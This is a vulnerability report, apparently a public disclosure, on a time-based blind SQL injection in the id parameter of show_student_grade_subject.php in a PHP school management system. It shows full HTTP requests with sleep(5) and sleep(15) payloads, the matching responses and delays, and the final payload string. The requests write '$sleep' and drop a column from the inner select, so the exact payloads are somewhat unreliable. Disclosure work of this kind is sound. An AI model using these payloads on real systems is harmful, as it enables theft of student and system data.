

SQL injection vulnerability exists in id parameter of /view/show_student_grade_subject.php file of Complete Web-Based School Management System

Important user data or system data may be leaked and system security may be compromised

The environment is secure and the information can be used by malicious users.

Sleep time is 5s:

Request

```
1 GET /std1/view/show_student_grade_subject.php?do=view_subject&id=1'%20AND%20(select%20%20from%20(select($sleep(5)))v)%20AND%20'1'='1&index=undefined HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:16:03 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2110
8
9 <!--*****Insert Student Subjects***** -->
10 <div class="modal msk-fade" id="modalViewSubject" tabindex="-1" role="dialog" aria-labelledby="tt3" aria-hidden="true" data-backdrop="static" data-keyboard="false">
11
12 <div class="modal-dialog ">
13 <div class="container ">
14 <!--modal-content -->
15 <div class="row ">
16
17 <div class="col-md-6 ">
18 <div class="panel panel-primary">
19
20
```

Done 2,300 bytes | 5,003 millis

Sleep time is 15s:

Request

```
1 GET /std1/view/show_student_grade_subject.php?do=view_subject&id=1'%20AND%20(select%20%20from%20(select($sleep(15)))v)%20AND%20'1'='1&index=undefined HTTP/1.1
2 Accept: */*
3 X-Requested-With: XMLHttpRequest
4 Referer: http://192.168.31.163/std1
5 Cookie: PHPSESSID=95dng85hgflj1vcqlqqbcm92pd
6 Accept-Encoding: gzip,deflate,br
7 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36
8 Host: 192.168.31.163
9 Connection: Keep-alive
10
11
```

Response

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.15.11
3 Date: Thu, 18 Apr 2024 16:16:29 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 X-Powered-By: PHP/7.3.4
7 Content-Length: 2111
8
9 <!--*****Insert Student Subjects***** -->
10 <div class="modal msk-fade" id="modalViewSubject" tabindex="-1" role="dialog" aria-labelledby="tt3" aria-hidden="true" data-backdrop="static" data-keyboard="false">
11
12 <div class="modal-dialog ">
13 <div class="container ">
14 <!--modal-content -->
15 <div class="row ">
16
17 <div class="col-md-6 ">
18 <div class="panel panel-primary">
19
20
```

Done 2,301 bytes | 15,003 millis

Payload: id=1'%20AND%20(select%20%20from%20(select(sleep(15)))v)%20AND%20'1'='1

Source Download:

<https://www.campcodes.com/projects/php/web-based-school-management-system/>